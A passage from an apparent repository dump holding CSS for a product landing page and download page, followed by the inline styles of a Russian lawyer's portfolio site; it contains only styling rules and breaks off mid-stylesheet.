var(--orange));\n    width: var(--w);\n    animation: barIn 1.2s ease forwards;\n}\n\n.showcase-item__score strong {\n    font-family: var(--mono);\n    font-size: 13px;\n    color: var(--red);\n}\n\n\n/* ── TESTIMONIALS ────────────────────────────── */\n\n.testimonials {\n    position: relative;\n    margin-top: 56px;\n    overflow: hidden;\n}\n\n.testimonials__track {\n    display: flex;\n    gap: 24px;\n    will-change: transform;\n}\n\n.tcard {\n    flex-shrink: 0;\n    background: var(--bg-card);\n    border: 1px solid var(--border);\n    padding: 32px;\n    display: flex;\n    flex-direction: column;\n    gap: 16px;\n    transition: border-color var(--trans), transform var(--trans);\n    transform: translateX(0);\n}\n\n.tcard:hover {\n    border-color: rgba(0, 212, 255, .3);\n}\n\n.tcard__quote {\n    margin-bottom: 4px;\n}\n\n.tcard__text {\n    font-size: 14px;\n    color: var(--text-2);\n    line-height: 1.7;\n    flex: 1;\n}\n\n.tcard__author {\n    display: grid;\n    grid-template-columns: 40px 1fr auto;\n    align-items: center;\n    gap: 12px;\n    padding-top: 16px;\n    border-top: 1px solid var(--border-2);\n}\n\n.tcard__avatar {\n    width: 40px;\n    height: 40px;\n    background: rgba(0, 212, 255, .1);\n    border: 1px solid rgba(0, 212, 255, .25);\n    display: flex;\n    align-items: center;\n    justify-content: center;\n    font-family: var(--mono);\n    font-size: 12px;\n    font-weight: 700;\n    color: var(--cyan);\n    flex-shrink: 0;\n}\n\n.tcard__author strong {\n    display: block;\n    font-size: 14px;\n    color: var(--text);\n    font-weight: 600;\n}\n\n.tcard__author span {\n    font-size: 12px;\n    color: var(--text-3);\n}\n\n.tcard__stars {\n    color: var(--amber);\n    font-size: 13px;\n}\n\n.tcard__tag {\n    font-family: var(--mono);\n    font-size: 10px;\n    color: var(--text-3);\n    text-transform: uppercase;\n    letter-spacing: 1px;\n    border: 1px solid var(--border-2);\n    padding: 4px 10px;\n    align-self: flex-start;\n}\n\n\n/* Testimonial controls */\n\n.testimonials__controls {\n    display: flex;\n    align-items: center;\n    justify-content: center;\n    gap: 16px;\n    margin-top: 32px;\n}\n\n.tctl {\n    width: 40px;\n    height: 40px;\n    background: transparent;\n    border: 1px solid var(--border);\n    color: var(--text-2);\n    cursor: pointer;\n    display: flex;\n    align-items: center;\n    justify-content: center;\n    transition: border-color var(--trans), color var(--trans), background var(--trans);\n}\n\n.tctl:hover {\n    border-color: var(--cyan);\n    color: var(--cyan);\n    background: rgba(0, 212, 255, .05);\n}\n\n.testimonials__dots {\n    display: flex;\n    gap: 8px;\n}\n\n.t-dot {\n    width: 6px;\n    height: 6px;\n    background: var(--border);\n    cursor: pointer;\n    transition: background var(--trans), width var(--trans);\n}\n\n.t-dot.active {\n    background: var(--cyan);\n    width: 18px;\n}\n\n\n/* ── CTA ─────────────────────────────────────── */\n\n.cta-section {\n    position: relative;\n    overflow: hidden;\n    text-align: center;\n    padding: 120px 0;\n}\n\n.cta-section__bg {\n    position: absolute;\n    inset: 0;\n    background: radial-gradient(ellipse 60% 70% at 50% 100%, rgba(0, 212, 255, .06) 0%, transparent 70%);\n    pointer-events: none;\n}\n\n.cta-section::before {\n    content: '';\n    position: absolute;\n    top: 0;\n    left: 0;\n    right: 0;\n    height: 1px;\n    background: linear-gradient(90deg, transparent, var(--cyan), transparent);\n    opacity: .3;\n}\n\n.cta-inner {\n    position: relative;\n    z-index: 1;\n}\n\n.cta-inner__title {\n    font-size: clamp(36px, 5vw, 68px);\n    font-weight: 700;\n    letter-spacing: -2px;\n    line-height: 1.1;\n    margin-bottom: 24px;\n}\n\n.cta-inner>p {\n    color: var(--text-2);\n    font-size: 16px;\n    max-width: 500px;\n    margin: 0 auto 40px;\n    line-height: 1.7;\n}\n\n.cta-inner__actions {\n    display: flex;\n    gap: 16px;\n    justify-content: center;\n    flex-wrap: wrap;\n    margin-bottom: 40px;\n}\n\n.cta-inner__specs {\n    display: flex;\n    gap: 28px;\n    justify-content: center;\n    flex-wrap: wrap;\n}\n\n.spec {\n    display: flex;\n    align-items: center;\n    gap: 6px;\n    font-size: 13px;\n    color: var(--text-3);\n    font-family: var(--mono);\n}\n\n\n/* ── FOOTER ──────────────────────────────────── */\n\n.footer {\n    border-top: 1px solid var(--border);\n    padding: 64px 0 32px;\n    position: relative;\n    z-index: 1;\n    background: var(--bg);\n}\n\n.footer__inner {\n    display: grid;\n    grid-template-columns: 1fr 2fr;\n    gap: 64px;\n    margin-bottom: 48px;\n}\n\n.footer__brand .nav__logo {\n    margin-bottom: 16px;\n    display: inline-flex;\n}\n\n.footer__brand p {\n    font-size: 13px;\n    color: var(--text-3);\n    line-height: 1.7;\n    margin-bottom: 8px;\n}\n\n.footer__copy {\n    font-size: 12px !important;\n}\n\n.footer__cols {\n    display: grid;\n    grid-template-columns: repeat(3, 1fr);\n    gap: 32px;\n}\n\n.footer__col {\n    display: flex;\n    flex-direction: column;\n    gap: 10px;\n}\n\n.footer__col-title {\n    font-family: var(--mono);\n    font-size: 10px;\n    color: var(--cyan);\n    text-transform: uppercase;\n    letter-spacing: 1.5px;\n    margin-bottom: 4px;\n}\n\n.footer__col a {\n    font-size: 13px;\n    color: var(--text-3);\n    text-decoration: none;\n    transition: color var(--trans);\n}\n\n.footer__col a:hover {\n    color: var(--text);\n}\n\n.footer__bottom {\n    border-top: 1px solid var(--border-2);\n    padding-top: 24px;\n    display: flex;\n    align-items: center;\n    justify-content: space-between;\n    flex-wrap: wrap;\n    gap: 16px;\n}\n\n\n/* ── Easter-egg cat ──────────────────────────── */\n\n.footer-cat {\n    position: absolute;\n    bottom: 0;\n    right: 3rem;\n    height: 80px;\n    pointer-events: none;\n    user-select: none;\n    opacity: 0.85;\n    transition: opacity .3s;\n}\n\n.footer-cat:hover {\n    opacity: 1;\n    pointer-events: auto;\n}\n\n.footer__bottom>span {\n    font-size: 12px;\n    color: var(--text-3);\n    font-family: var(--mono);\n}\n\n.footer__badges {\n    display: flex;\n    gap: 12px;\n    flex-wrap: wrap;\n}\n\n.footer__badge {\n    display: flex;\n    align-items: center;\n    gap: 6px;\n    font-family: var(--mono);\n    font-size: 10px;\n    color: var(--text-3);\n    border: 1px solid var(--border-2);\n    padding: 4px 10px;\n    text-transform: uppercase;\n    letter-spacing: .8px;\n}\n\n\n/* ── INTERSECTION OBSERVER FADE-IN ──────────── */\n\n.section__label,\n.section__title,\n.section__desc,\n.pipeline__step,\n.algo-card,\n.tcard,\n.showcase-item,\n.docs-card,\n.docs-qs-step {\n    opacity: 0;\n    transform: translateY(20px);\n    transition: opacity .6s ease, transform .6s ease;\n}\n\n.is-visible {\n    opacity: 1 !important;\n    transform: translateY(0) !important;\n}\n\n\n/* ── RESPONSIVE ──────────────────────────────── */\n\n@media (max-width: 1024px) {\n    .hero {\n        grid-template-columns: 1fr;\n        text-align: center;\n    }\n    .hero__sub {\n        max-width: 100%;\n    }\n    .hero__actions {\n        justify-content: center;\n    }\n    .hero__stats {\n        max-width: 380px;\n        margin: 0 auto;\n    }\n    .hero__visual {\n        display: none;\n    }\n    .hero__scroll-hint {\n        grid-column: 1;\n    }\n    .obfusc-grid {\n        grid-template-columns: repeat(2, 1fr);\n    }\n    .algo-grid {\n        grid-template-columns: 1fr;\n    }\n    .algo-card--wide {\n        grid-column: 1;\n    }\n    .tcard {\n        /* width set by JS */\n    }\n    .nn-params {\n        grid-template-columns: repeat(2, 1fr);\n    }\n}\n\n@media (max-width: 768px) {\n    .container {\n        padding: 0 20px;\n    }\n    .nav__links {\n        display: none;\n    }\n    .nav__burger {\n        display: flex;\n        margin-left: auto;\n    }\n    .hero {\n        padding: 100px 20px 60px;\n    }\n    .hero__headline {\n        letter-spacing: -.8px;\n    }\n    .pipeline {\n        flex-direction: column;\n    }\n    .pipeline__arrow {\n        display: none;\n    }\n    .pipeline__step {\n        min-width: 100%;\n    }\n    .showcase-grid {\n        grid-template-columns: 1fr;\n    }\n    .obfusc-grid {\n        grid-template-columns: 1fr;\n    }\n    .tcard {\n        /* width set by JS */\n    }\n    .footer__inner {\n        grid-template-columns: 1fr;\n        gap: 40px;\n    }\n    .footer__cols {\n        grid-template-columns: repeat(2, 1fr);\n    }\n    .footer__bottom {\n        flex-direction: column;\n        align-items: flex-start;\n    }\n}\n\n\n/* ═══════════════════════════════════════\n   DOWNLOAD PAGE\n═══════════════════════════════════════ */\n\n.page-dl {\n    min-height: 100vh;\n    display: flex;\n    flex-direction: column;\n    align-items: center;\n    justify-content: center;\n    padding: 120px 32px 80px;\n    position: relative;\n    z-index: 1;\n    text-align: center;\n}\n\n.page-dl__grid {\n    position: absolute;\n    inset: 0;\n    background-image: linear-gradient(rgba(0, 212, 255, .03) 1px, transparent 1px), linear-gradient(90deg, rgba(0, 212, 255, .03) 1px, transparent 1px);\n    background-size: 56px 56px;\n    pointer-events: none;\n    mask-image: radial-gradient(ellipse 70% 70% at 50% 50%, black 20%, transparent 100%);\n}\n\n\n/* ── Shield icon ── */\n\n.dl-icon {\n    position: relative;\n    width: 96px;\n    height: 96px;\n    margin: 0 auto 32px;\n}\n\n.dl-icon svg {\n    width: 96px;\n    height: 96px;\n}\n\n.dl-icon__ring {\n    position: absolute;\n    inset: -16px;\n    border-radius: 50%;\n    border: 1px solid rgba(0, 212, 255, .15);\n    animation: ringPulse 2.4s ease-in-out infinite;\n}\n\n.dl-icon__ring:nth-child(2) {\n    inset: -28px;\n    animation-delay: .6s;\n    border-color: rgba(0, 212, 255, .08);\n}\n\n.dl-icon__ring:nth-child(3) {\n    inset: -42px;\n    animation-delay: 1.2s;\n    border-color: rgba(0, 212, 255, .04);\n}\n\n@keyframes ringPulse {\n    0%,\n    100% {\n        opacity: 1;\n        transform: scale(1);\n    }\n    50% {\n        opacity: .4;\n        transform: scale(1.05);\n    }\n}\n\n\n/* ── Status label ── */\n\n.dl-label {\n    display: inline-flex;\n    align-items: center;\n    gap: 8px;\n    font-family: var(--mono);\n    font-size: 11px;\n    letter-spacing: .12em;\n    text-transform: uppercase;\n    color: var(--cyan);\n    opacity: .7;\n    margin-bottom: 20px;\n}\n\n.dl-label__dot {\n    width: 8px;\n    height: 8px;\n    border-radius: 50%;\n    background: #00ff88;\n    box-shadow: 0 0 8px #00ff88;\n    animation: blink 1.2s step-start infinite;\n}\n\n@keyframes blink {\n    0%,\n    100% {\n        opacity: 1;\n    }\n    50% {\n        opacity: .2;\n    }\n}\n\n\n/* ── Title ── */\n\n.dl-title {\n    font-size: clamp(28px, 6vw, 52px);\n    font-weight: 700;\n    line-height: 1.15;\n    letter-spacing: -.02em;\n    color: var(--text);\n    margin-bottom: 16px;\n}\n\n.dl-title em {\n    font-style: normal;\n    color: var(--cyan);\n}\n\n\n/* ── Subtitle ── */\n\n.dl-sub {\n    font-size: 16px;\n    line-height: 1.65;\n    color: var(--text-dim);\n    max-width: 480px;\n    margin: 0 auto 40px;\n}\n\n.dl-sub strong {\n    color: var(--text);\n}\n\n\n/* ── Progress bar ── */\n\n.dl-progress {\n    width: 100%;\n    max-width: 400px;\n    margin: 0 auto 12px;\n}\n\n.dl-progress__track {\n    height: 3px;\n    background: rgba(255, 255, 255, .06);\n    border-radius: 2px;\n    overflow: hidden;\n    position: relative;\n}\n\n.dl-progress__fill {\n    height: 100%;\n    background: linear-gradient(90deg, #00d4ff, #00ff88);\n    width: 0%;\n    animation: progressFill 3s ease-in-out forwards;\n    border-radius: 2px;\n    box-shadow: 0 0 10px rgba(0, 212, 255, .5);\n}\n\n@keyframes progressFill {\n    0% {\n        width: 0%;\n    }\n    60% {\n        width: 72%;\n    }\n    85% {\n        width: 88%;\n    }\n    100% {\n        width: 100%;\n    }\n}\n\n.dl-progress__label {\n    display: flex;\n    justify-content: space-between;\n    font-family: var(--mono);\n    font-size: 11px;\n    color: var(--text-dim);\n    margin-top: 8px;\n    opacity: .6;\n}\n\n\n/* ── Countdown ── */\n\n.dl-countdown {\n    font-family: var(--mono);\n    font-size: 13px;\n    color: var(--text-dim);\n    margin-bottom: 40px;\n}\n\n#cdNum {\n    color: var(--cyan);\n    font-weight: 700;\n}\n\n\n/* ── Manual link ── */\n\n.dl-manual {\n    font-size: 14px;\n    color: var(--text-dim);\n    margin-bottom: 48px;\n}\n\n.dl-manual a {\n    color: var(--cyan);\n    text-decoration: underline;\n    text-underline-offset: 3px;\n}\n\n.dl-manual a:hover {\n    color: var(--text);\n}\n\n\n/* ── Specs bar ── */\n\n.dl-specs {\n    display: flex;\n    gap: 24px;\n    flex-wrap: wrap;\n    justify-content: center;\n}\n\n.dl-specs .spec {\n    display: inline-flex;\n    align-items: center;\n    gap: 6px;\n    font-family: var(--mono);\n    font-size: 11px;\n    letter-spacing: .08em;\n    color: var(--text-dim);\n    opacity: .55;\n}\n\n\n/* ── Terminal block ── */\n\n.dl-terminal {\n    background: rgba(255, 255, 255, .025);\n    border: 1px solid rgba(255, 255, 255, .07);\n    border-radius: 4px;\n    overflow: hidden;\n    width: 100%;\n    max-width: 440px;\n    margin: 0 auto 36px;\n    text-align: left;\n}\n\n.dl-terminal__bar {\n    display: flex;\n    gap: 6px;\n    align-items: center;\n    padding: 10px 14px;\n    border-bottom: 1px solid rgba(255, 255, 255, .06);\n}\n\n.dl-terminal__dot {\n    width: 10px;\n    height: 10px;\n    border-radius: 50%;\n    background: rgba(255, 255, 255, .1);\n}\n\n.dl-terminal__body {\n    padding: 14px 16px;\n    font-family: var(--mono);\n    font-size: 12px;\n    line-height: 1.9;\n    color: var(--text-dim);\n}\n\n.t-ok {\n    color: #00ff88;\n}\n\n.t-dim {\n    color: rgba(255, 255, 255, .3);\n}\n\n.t-cmd {\n    color: var(--text);\n}\n\n.t-cur {\n    display: inline-block;\n    width: 7px;\n    height: 13px;\n    background: var(--cyan);\n    vertical-align: text-bottom;\n    animation: blink 1s step-start infinite;\n}"
  },
  {
    "path": "legacy_tandem/viewer/works/example-lawyer/index.html",
    "content": "﻿<!DOCTYPE html>\n<html lang=\"ru\">\n\n<head>\n    <meta charset=\"UTF-8\" />\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\" />\n    <title>Владимир Лебедев — Адвокат</title>\n    <link rel=\"preconnect\" href=\"https://fonts.googleapis.com\">\n    <link rel=\"preconnect\" href=\"https://fonts.gstatic.com\" crossorigin>\n    <link href=\"https://fonts.googleapis.com/css2?family=Cormorant+Garamond:ital,wght@0,300;0,400;0,500;0,600;1,300;1,400&family=Inter:wght@300;400;500&display=swap\" rel=\"stylesheet\">\n    <style>\n        *,\n        *::before,\n        *::after {\n            box-sizing: border-box;\n            margin: 0;\n            padding: 0;\n        }\n\n        :root {\n            --gold: #C9A84C;\n            --gold-light: #E8CC80;\n            --gold-dark: #9A7830;\n            --white: #FDFCF8;\n            --off-white: #F5F2EA;\n            --text: #1A1814;\n            --text-muted: #6B6358;\n            --border: rgba(201, 168, 76, 0.25);\n        }\n\n        html {\n            scroll-behavior: smooth;\n        }\n\n        body {\n            font-family: 'Inter', sans-serif;\n            background: var(--white);\n            color: var(--text);\n            overflow-x: hidden;\n        }\n\n        /* ─── CURSOR ─── */\n        * {\n            cursor: none !important;\n        }\n\n        /* На touch-устройствах курсор возвращаем стандартный */\n        @media (pointer: coarse) {\n            * {\n                cursor: auto !important;\n            }\n\n            .cursor,\n            .cursor-ring {\n                display: none !important;\n            }\n        }\n\n        .cursor {\n            width: 8px;\n            height: 8px;\n            background: var(--gold);\n            border-radius: 50%;\n            position: fixed;\n            top: 0;\n            left: 0;\n            pointer-events: none;\n            z-index: 10002;\n            transform: translate(-50%, -50%);\n            transition: width .2s, height .2s, background .2s, opacity .2s;\n        }\n\n        .cursor-ring {\n            width: 32px;\n            height: 32px;\n            border: 1.5px solid var(--gold);\n            border-radius: 50%;\n            position: fixed;\n            top: 0;\n            left: 0;\n            pointer-events: none;\n            z-index: 10001;\n            transform: translate(-50%, -50%);\n            transition: width .15s, height .15s, border-color .2s, opacity .2s;\n            opacity: .5;\n        }\n\n        .cursor.hovered {\n            width: 14px;\n            height: 14px;\n        }\n\n        .cursor-ring.hovered {\n            width: 48px;\n            height: 48px;\n            opacity: .25;\n        }\n\n        /* ─── SCROLL BAR ─── */\n        ::-webkit-scrollbar {\n            width: 4px;\n        }\n\n        ::-webkit-scrollbar-track {\n            background: var(--white);\n        }\n\n        ::-webkit-scrollbar-thumb {\n            background: var(--gold);\n            border-radius: 4px;\n        }\n\n        ::selection {\n            background: rgba(201, 168, 76, .45);\n            color: #1A1814;\n        }\n\n        ::-moz-selection {\n            background: rgba(201, 168, 76, .45);\n            color: #1A1814;\n        }\n\n        /* ─── NAV ─── */\n        nav {\n            position: fixed;\n            top: 0;\n            left: 0;\n            right: 0;\n            z-index: 100;\n            display: flex;\n            align-items: center;\n            justify-content: space-between;\n            padding: 0 6vw;\n            height: 68px;\n            background: transparent;\n            transition: background .5s, backdrop-filter .5s, box-shadow .5s;\n        }\n\n        nav.scrolled {\n            background: rgba(253, 252, 248, .88);\n            backdrop-filter: blur(18px);\n            box-shadow: 0 1px 0 var(--border);\n        }\n\n        .nav-logo {\n            font-family: 'Cormorant Garamond', serif;\n            font-size: 1.4rem;\n            font-weight: 500;\n            letter-spacing: .08em;\n            color: var(--text);\n            text-decoration: none;\n        }\n\n        .nav-logo span {\n            color: var(--gold);\n        }\n\n        .nav-links {\n            display: flex;\n            gap: 2.5rem;\n            list-style: none;\n        }\n\n        .nav-links a {\n            font-size: .9rem;\n            font-weight: 400;\n            letter-spacing: .1em;\n            text-transform: uppercase;\n            text-decoration: none;\n            color: var(--text-muted);\n            position: relative;\n            transition: color .3s;\n        }\n\n        .nav-links a::after {\n            content: '';\n            position: absolute;\n            bottom: -4px;\n            left: 0;\n            width: 0;\n            height: 1px;\n            background: var(--gold);\n            transition: width .4s cubic-bezier(.4, 0, .2, 1);\n        }\n\n        .nav-links a:hover {\n            color: var(--gold);\n        }\n\n        .nav-links a:hover::after {\n            width: 100%;\n        }\n\n        .nav-cta {\n            font-size: .88rem;\n            letter-spacing: .1em;\n            text-transform: uppercase;\n            text-decoration: none;\n            color: var(--gold);\n            border: 1px solid var(--gold);\n            padding: .6rem 1.6rem;\n            transition: background .35s, color .35s;\n        }\n\n        .nav-cta:hover {\n            background: var(--gold);\n            color: #fff;\n        }\n\n        /* ─── HERO ─── */\n        #hero {\n            height: 100vh;\n            display: grid;\n            grid-template-columns: 1fr 1fr;\n            position: relative;\n            overflow: hidden;\n        }\n\n        /* golden background ornament */\n        #hero::before {\n            content: '';\n            position: absolute;\n            inset: 0;\n            background:\n                radial-gradient(ellipse 60% 80% at 70% 50%, rgba(201, 168, 76, .07) 0%, transparent 70%);\n            pointer-events: none;\n        }\n\n        .hero-left {\n            display: flex;\n            flex-direction: column;\n            justify-content: center;\n            padding: 5rem 4vw 3rem 8vw;\n            position: relative;\n            z-index: 2;\n        }\n\n        .hero-eyebrow {\n            font-size: .88rem;\n            letter-spacing: .2em;\n            text-transform: uppercase;\n            color: var(--gold);\n            margin-bottom: 1.2rem;\n            display: flex;\n            align-items: center;\n            gap: .8rem;\n        }\n\n        .hero-eyebrow::before {\n            content: '';\n            display: inline-block;\n            width: 40px;\n            height: 1px;\n            background: var(--gold);\n        }\n\n        .hero-name {\n            font-family: 'Cormorant Garamond', serif;\n            font-size: clamp(3.6rem, 5.5vw, 5.8rem);\n            font-weight: 300;\n            line-height: 1.05;\n            letter-spacing: -.01em;\n            color: var(--text);\n            margin-bottom: .5rem;\n        }\n\n        .hero-name em {\n            font-style: italic;\n            color: var(--gold);\n        }\n\n        .hero-title {\n            font-family: 'Cormorant Garamond', serif;\n            font-size: clamp(1.3rem, 2vw, 1.7rem);\n            font-weight: 300;\n            color: var(--text-muted);\n            letter-spacing: .06em;\n            margin-bottom: 1.6rem;\n        }\n\n        .hero-desc {\n            font-size: 1.05rem;\n            line-height: 1.85;\n            color: var(--text-muted);\n            max-width: 420px;\n            margin-bottom: 2rem;\n        }\n\n        .hero-actions {\n            display: flex;\n            gap: 1.2rem;\n            align-items: center;\n        }\n\n        .btn-primary {\n            display: inline-block;\n            font-size: .88rem;\n            letter-spacing: .13em;\n            text-transform: uppercase;\n            text-decoration: none;\n            background: var(--gold);\n            color: #fff;\n            padding: 1rem 2.4rem;\n            transition: background .35s, transform .25s;\n        }\n\n        .btn-primary:hover {\n            background: var(--gold-dark);\n            transform: translateY(-2px);\n        }\n\n        .btn-ghost {\n            display: inline-flex;\n            align-items: center;\n            gap: .6rem;\n            font-size: .88rem;\n            letter-spacing: .13em;\n            text-transform: uppercase;\n            text-decoration: none;\n            color: var(--text-muted);\n            transition: color .3s;\n        }\n\n        .btn-ghost:hover {\n            color: var(--gold);\n        }\n\n        .btn-ghost svg {\n            transition: transform .3s;\n        }\n\n        .btn-ghost:hover svg {\n            transform: translateX(4px);\n        }\n\n        .hero-stats {\n            display: flex;\n            gap: 2.5rem;\n            margin-top: 2rem;\n            padding-top: 2rem;\n            border-top: 1px solid var(--border);\n        }\n\n        .stat-val {\n            font-family: 'Cormorant Garamond', serif;\n            font-size: 2.8rem;\n            font-weight: 500;\n            color: var(--gold);\n            line-height: 1;\n            font-variant-numeric: tabular-nums;\n            min-width: 3.5ch;\n            display: inline-block;\n        }\n\n        .stat-label {\n            font-size: .88rem;\n            letter-spacing: .1em;\n            text-transform: uppercase;\n            color: var(--text-muted);\n            margin-top: .35rem;\n        }\n\n        .hero-right {\n            position: relative;\n            display: flex;\n            align-items: center;\n            justify-content: center;\n        }\n\n        .hero-img-wrap {\n            position: relative;\n            display: flex;\n            align-items: center;\n            justify-content: center;\n        }\n\n        /* circular photo */\n        .photo-circle-wrap {\n            position: relative;\n            width: 340px;\n            height: 340px;\n            flex-shrink: 0;\n        }\n\n        .hero-photo {\n            width: 100%;\n            height: 100%;\n            object-fit: cover;\n            object-position: top center;\n            border-radius: 50%;\n            position: relative;\n            z-index: 3;\n            display: block;\n            filter: grayscale(5%);\n        }\n\n        /* concentric ornamental rings */\n        .photo-ring {\n            position: absolute;\n            border-radius: 50%;\n            pointer-events: none;\n            top: 50%;\n            left: 50%;\n            transform: translate(-50%, -50%);\n        }\n\n        .photo-ring-1 {\n            width: calc(100% + 20px);\n            height: calc(100% + 20px);\n            border: 1.5px solid rgba(201, 168, 76, .7);\n            z-index: 4;\n        }\n\n        .photo-ring-2 {\n            width: calc(100% + 44px);\n            height: calc(100% + 44px);\n            border: 1px dashed rgba(201, 168, 76, .45);\n            z-index: 2;\n            animation: ring-spin 25s linear infinite;\n        }\n\n        .photo-ring-3 {\n            width: calc(100% + 72px);\n            height: calc(100% + 72px);\n            border: 1px solid rgba(201, 168, 76, .2);\n            z-index: 1;\n        }\n\n        .photo-ring-4 {\n            width: calc(100% + 100px);\n            height: calc(100% + 100px);\n            border: .5px solid rgba(201, 168, 76, .1);\n            z-index: 0;\n        }\n\n        /* corner flourishes */\n        .photo-dot {\n            position: absolute;\n            z-index: 5;\n            width: 7px;\n            height: 7px;\n            background: var(--gold);\n            border-radius: 50%;\n            top: 50%;\n            left: 50%;\n            transform-origin: 0 0;\n        }\n\n        @keyframes ring-spin {\n            to {\n                transform: translate(-50%, -50%) rotate(360deg);\n            }\n        }\n\n        /* photo fallback */\n        .photo-fallback {\n            width: 100%;\n            height: 100%;\n            border-radius: 50%;\n            background: linear-gradient(160deg, #f5f2ea, #e8e3d5);\n            display: flex;\n            align-items: center;\n            justify-content: center;\n            flex-direction: column;\n            gap: 1rem;\n            position: relative;\n            z-index: 3;\n        }\n\n        /* SVG ornaments */\n        .ornament {\n            position: absolute;\n            pointer-events: none;\n        }\n\n        /* ─── DIVIDER ─── */\n        .gold-divider {\n            display: flex;\n            align-items: center;\n            gap: 1.2rem;\n            margin-bottom: 1.4rem;\n        }\n\n        .gold-divider span {\n            flex: 1;\n            height: 1px;\n            background: linear-gradient(90deg, transparent, var(--gold), transparent);\n        }\n\n        .gold-divider svg {\n            flex-shrink: 0;\n        }\n\n        /* ─── SECTION BASE ─── */\n        section {\n            padding: 7rem 8vw;\n        }\n\n        .section-label {\n            font-size: .88rem;\n            letter-spacing: .18em;\n            text-transform: uppercase;\n            color: var(--gold);\n            margin-bottom: 1rem;\n            display: flex;\n            align-items: center;\n            gap: .7rem;\n        }\n\n        .section-label::before {\n            content: '';\n            display: inline-block;\n            width: 30px;\n            height: 1px;\n            background: var(--gold);\n        }\n\n        .section-title {\n            font-family: 'Cormorant Garamond', serif;\n            font-size: clamp(2.4rem, 4vw, 3.6rem);\n            font-weight: 300;\n            line-height: 1.15;\n            margin-bottom: 1.5rem;\n        }\n\n        .section-title em {\n            color: var(--gold);\n            font-style: italic;\n        }\n\n        /* ─── ABOUT ─── */\n        #about {\n            display: grid;\n            grid-template-columns: 1fr 1fr;\n            gap: 6rem;\n            align-items: center;\n            background: var(--off-white);\n            position: relative;\n            overflow: hidden;\n        }\n\n        #about::before {\n            content: '';\n            position: absolute;\n            top: 0;\n            left: 0;\n            right: 0;\n            bottom: 0;\n            background-image:\n                repeating-linear-gradient(0deg, transparent, transparent 39px, var(--border) 39px, var(--border) 40px),\n                repeating-linear-gradient(90deg, transparent, transparent 39px, var(--border) 39px, var(--border) 40px);\n            opacity: .35;\n        }\n\n        .about-text {\n            position: relative;\n            z-index: 1;\n        }\n\n        .about-text p {\n            font-size: .92rem;\n            line-height: 1.9;\n            color: var(--text-muted);\n            margin-bottom: 1.3rem;\n        }\n\n        .about-quote {\n            border-left: 2px solid var(--gold);\n            padding-left: 1.5rem;\n            margin: 2rem 0;\n        }\n\n        .about-quote p {\n            font-family: 'Cormorant Garamond', serif;\n            font-size: 1.35rem;\n            font-style: italic;\n            color: var(--text);\n            line-height: 1.6;\n            margin: 0;\n        }\n\n        .about-visual {\n            position: relative;\n            z-index: 1;\n            display: flex;\n            flex-direction: column;\n            gap: 1.5rem;\n        }\n\n        .cert-card {\n            background: white;\n            border: 1px solid var(--border);\n            padding: 1.8rem 2rem;\n            position: relative;\n            transition: transform .35s, box-shadow .35s;\n        }\n\n        .cert-card:hover {\n            transform: translateY(-4px);\n            box-shadow: 0 16px 48px rgba(201, 168, 76, .12);\n        }\n\n        .cert-card::before {\n            content: '';\n            position: absolute;\n            top: 0;\n            left: 0;\n            width: 3px;\n            height: 100%;\n            background: var(--gold);\n        }\n\n        .cert-year {\n            font-size: .82rem;\n            letter-spacing: .14em;\n            text-transform: uppercase;\n            color: var(--gold);\n            margin-bottom: .5rem;\n        }\n\n        .cert-name {\n            font-family: 'Cormorant Garamond', serif;\n            font-size: 1.25rem;\n            font-weight: 500;\n            color: var(--text);\n        }\n\n        .cert-institution {\n            font-size: .92rem;\n            color: var(--text-muted);\n            margin-top: .3rem;\n        }\n\n        /* ─── PRACTICE ─── */\n        #practice {\n            position: relative;\n        }\n\n        .practice-header {\n            display: grid;\n            grid-template-columns: 1fr 1fr;\n            gap: 4rem;\n            align-items: end;\n            margin-bottom: 4rem;\n        }\n\n        .practice-intro {\n            font-size: 1.05rem;\n            line-height: 1.85;\n            color: var(--text-muted);\n        }\n\n        .practice-grid {\n            display: grid;\n            grid-template-columns: repeat(3, 1fr);\n            gap: 1.5px;\n            background: var(--border);\n            border: 1.5px solid var(--border);\n        }\n\n        .practice-card {\n            background: var(--white);\n            padding: 2.6rem 2.2rem;\n            position: relative;\n            overflow: hidden;\n            cursor: default;\n            transition: background .4s;\n        }\n\n        .practice-card::after {\n            content: '';\n            position: absolute;\n            inset: 0;\n            background: linear-gradient(135deg, rgba(201, 168, 76, .0), rgba(201, 168, 76, .08));\n            opacity: 0;\n            transition: opacity .4s;\n        }\n\n        .practice-card:hover {\n            background: var(--off-white);\n        }\n\n        .practice-card:hover::after {\n            opacity: 1;\n        }\n\n        .practice-icon {\n            width: 48px;\n            height: 48px;\n            margin-bottom: 1.5rem;\n            color: var(--gold);\n        }\n\n        .practice-num {\n            position: absolute;\n            top: 1.8rem;\n            right: 2rem;\n            font-family: 'Cormorant Garamond', serif;\n            font-size: 3rem;\n            font-weight: 300;\n            color: rgba(201, 168, 76, .12);\n            line-height: 1;\n            user-select: none;\n            transition: color .4s;\n        }\n\n        .practice-card:hover .practice-num {\n            color: rgba(201, 168, 76, .2);\n        }\n\n        .practice-name {\n            font-family: 'Cormorant Garamond', serif;\n            font-size: 1.4rem;\n            font-weight: 500;\n            margin-bottom: .8rem;\n            color: var(--text);\n        }\n\n        .practice-desc {\n            font-size: 1rem;\n            line-height: 1.75;\n            color: var(--text-muted);\n        }\n\n        .practice-arrow {\n            display: inline-flex;\n            align-items: center;\n            gap: .4rem;\n            font-size: .85rem;\n            letter-spacing: .08em;\n            text-transform: uppercase;\n            color: var(--gold);\n            margin-top: 1.5rem;\n            opacity: 0;\n            transform: translateX(-8px);\n            transition: opacity .35s, transform .35s;\n            /* reset browser button styles */\n            background: none;\n            border: none;\n            outline: none;\n            padding: 0;\n            font-family: 'Inter', sans-serif;\n        }\n\n        .practice-card:hover .practice-arrow {\n            opacity: 1;\n            transform: translateX(0);\n        }\n\n        /* ─── PROCESS ─── */\n        #process {\n            background: var(--text);\n            color: white;\n            position: relative;\n            overflow: hidden;\n        }\n\n        #process::before {\n            content: '';\n            position: absolute;\n            top: 0;\n            right: 0;\n            width: 50%;\n            height: 100%;\n            background: radial-gradient(ellipse 60% 80% at 80% 50%, rgba(201, 168, 76, .07) 0%, transparent 70%);\n        }\n\n        #process .section-title {\n            color: white;\n        }\n\n        #process .section-label {\n            color: var(--gold-light);\n        }\n\n        #process .section-label::before {\n            background: var(--gold-light);\n        }\n\n        .process-grid {\n            display: grid;\n            grid-template-columns: repeat(4, 1fr);\n            gap: 0;\n            margin-top: 4rem;\n            position: relative;\n            z-index: 1;\n        }\n\n        .process-grid::before {\n            content: '';\n            position: absolute;\n            